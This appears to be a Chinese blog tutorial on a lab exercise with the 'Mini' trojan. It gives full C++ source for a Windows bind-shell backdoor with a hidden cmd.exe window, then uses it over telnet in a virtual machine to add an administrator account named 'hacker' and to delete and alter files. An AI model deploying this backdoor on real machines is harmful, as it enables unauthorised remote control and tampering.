一个简单的木马程序分析

Mini木马的基本原理

Mini木马作为早期的远程控制类木马,基本工作原理是基于TCP的Socket技术,这也是现有木马技术的集成知识。
这类木马最大的特点是不需要客户端软件,只要有Windows自带的Telnet软件远程连接即可出现命令行窗口,服务端通过监听某个端口提供服务,类似 于Telnet服务的后台程序。其服务端编程的基本通信原理如下:

  • 打开一通信通道(绑定某个端口)并告知本地主机,它在某一个地址上接受客户请求。利用Socket和bind函数实现。
  • 等待客户请求到达该端口。利用listen函数实现。
  • 接收到重复服务请求,处理该请求并发送应答信号。利用accept函数实现。
  • 返回第二步,等待另一客户请求。
  • 关闭连接。利用closesock函数实现

Mini木马介绍

  • 产地:国外
  • 发布时间: 1998
  • 测试功能:命令行远程控制
  • 辅助工具:Telnet或NC工具
  • 自启动:五

实验环境

系统环境

在win10的虚拟机上Windows XP SP3系统,其具体数据如下图在这里插入图片描述

开发环境

vc++ 6.0

木马实现

打开vc++6.0,新建文件,选择c++源文件,文件名命名为mini.cpp,创建成功如图所示
在这里插入图片描述
程序代码如下:

#pragma comment(lib,"ws2_32.lib")
#include<winsock2.h>
#define MasterPort 99 //定义监听端口
int main()
{
	WSADATA WSADa;
	sockaddr_in SockAddrIn; 
	SOCKET CSocket,SSocket;
	int iAddrSize;
	PROCESS_INFORMATION ProcessInfo;
	STARTUPINFO StartupInfo;
	char szCMDPath[255];
	//分配内存资源,初始化数据
	ZeroMemory(&ProcessInfo,sizeof(PROCESS_INFORMATION));
	ZeroMemory(&StartupInfo,sizeof(STARTUPINFO));
	ZeroMemory(&WSADa,sizeof(WSADa));
	//获取CMD路径
	GetEnvironmentVariable("COMSPEC",szCMDPath,sizeof(szCMDPath));
	//加载ws2_32.dll
	WSAStartup(0x0202,&WSADa);
	//设置本地信息和绑定协议,建议Socket
	SockAddrIn.sin_family = AF_INET;
	SockAddrIn.sin_addr.s_addr = INADDR_ANY;
	SockAddrIn.sin_port = htons(MasterPort);
	CSocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
	//设置绑定端口 999
	bind(CSocket,(sockaddr*)&SockAddrIn,sizeof(SockAddrIn));
	//设置服务器监听端口
	listen(CSocket,1);
	iAddrSize = sizeof(SockAddrIn);
	SSocket = accept(CSocket,(sockaddr*)&SockAddrIn,&iAddrSize);
	StartupInfo.cb = sizeof(STARTUPINFO);
	StartupInfo.wShowWindow = SW_HIDE;
	StartupInfo.dwFlags = STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;
	StartupInfo.hStdInput = (HANDLE) SSocket;
	StartupInfo.hStdOutput = (HANDLE) SSocket;
	StartupInfo.hStdError = (HANDLE) SSocket;
	//创建匿名管道
	CreateProcess(NULL,szCMDPath,NULL,NULL,TRUE,0,NULL,NULL,&StartupInfo,&ProcessInfo);
	WaitForSingleObject(ProcessInfo.hProcess,INFINITE);
	CloseHandle(ProcessInfo.hProcess);
	CloseHandle(ProcessInfo.hThread);
	//关闭进程句柄
	closesocket(CSocket);
	closesocket(SSocket);
	WSACleanup();
	//关闭连接卸载ws2_32.dll
	return 0;
}

在项目Debug文件夹内生产可执行文件Mini.exe,如下图,该文件就是我们要使用的木马程序
在这里插入图片描述

进行实验

辅助工具telnet的安装

打开控制面板->程序->启动或关闭Windows功能,选中Telnet客户端下载安装
在这里插入图片描述
下载完成后cmd打开控制台,输入telnet显示如下则安装成功在这里插入图片描述

虚拟机运行木马

虚拟机的IP地址为192.168.220.128(可以通过cmd输入ipconfig查看)。运行木马程序mini.exe,出现黑窗口,显示如下图
在这里插入图片描述

打开虚拟机cmd输入netstat -an命令查看,如下图
在这里插入图片描述可以看见,系统的99号端口处于监听中

本机与虚拟机创建连接

本机的ip地址为192.168.106.1,输入telnet 192.168.220.128 99连接虚拟机的99号端口,如下图所示
在这里插入图片描述
运行命令行,已经进入了虚拟机木马所在目录下。

  • 我的木马程序在c:\vc\source\Debug文件夹下生成,如下图所示
    在这里插入图片描述
  • 主机已经通过命令行进入虚拟机的该目录,如下图所示
    加粗样式
  • 输入dir命令查看当前目录下的文件
    在这里插入图片描述
    输入ipconfig显示ip地址为虚拟机的ip地址,如下图所示

在这里插入图片描述

主机对虚拟机进行操作

查看当前用户

telnet中输入net user命令,显示如下,目前有4个用户
在这里插入图片描述

增加用户

增加一个新用户,名为hacker,密码为12345,输入命令net user hacker 12345 /add,如下图所示
在这里插入图片描述
此时再查看用户,已经多出了一个hacker用户
在这里插入图片描述

为新建用户设置组

输入net localgroup查看当前组,如下图
在这里插入图片描述

输入net localgroup administrators hacker /add将hacker用户添加到administrators组,如下图所示
在这里插入图片描述
再次查看administrator组,发现有一个hacker用户,此时hacker用户已经拥有了管理员权限。
在这里插入图片描述

对虚拟机数据进行操作

进行之前的操作后,主机已经可以对系统进行控制了,虽然只能再命令行下进行操作,但已经可以实现增删改查的功能了,为了测试,我在虚拟机中的c盘创建一个test文件夹,在里面创建一个1.txt文件和2.txt2文件。如下图
在这里插入图片描述
现在我们实现更改文档1的内容,下载2图片并删除2图片,先进入test目录,查看文件

在这里插入图片描述

删除照片2,使用del 文件名命令
在这里插入图片描述
再次查看文件夹,2.jpg已经被删除
在这里插入图片描述

查看1.txt的文件内容,输入type命令在这里插入图片描述

  • 对该文件进行修改,输入 echo “要增加的字符串” >> 要修改的文件
    在这里插入图片描述
  • 此时文件已经被修改,在虚拟机打开显示如下
    在这里插入图片描述

总结

Mini木马体现了木马的基本功能:远程控制。此外,它无需使用客户端软件,服务端仅仅168kb,占用资源较少,便于隐藏。

  • 缺点是该木马无法自动启动,需要第三方软件加载到自启动项目或服务中。并且该木马启动防火墙会报警,提示是否连接。
  • 防御措施:防火墙阻止连接或关闭该进程,如下图
    在这里插入图片描述

参考文献

[1] 赵玉明. 木马技术揭秘与防御[M]. 北京:电子工业出版社,2011.9. ISNB 9787121134715

  • 1
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值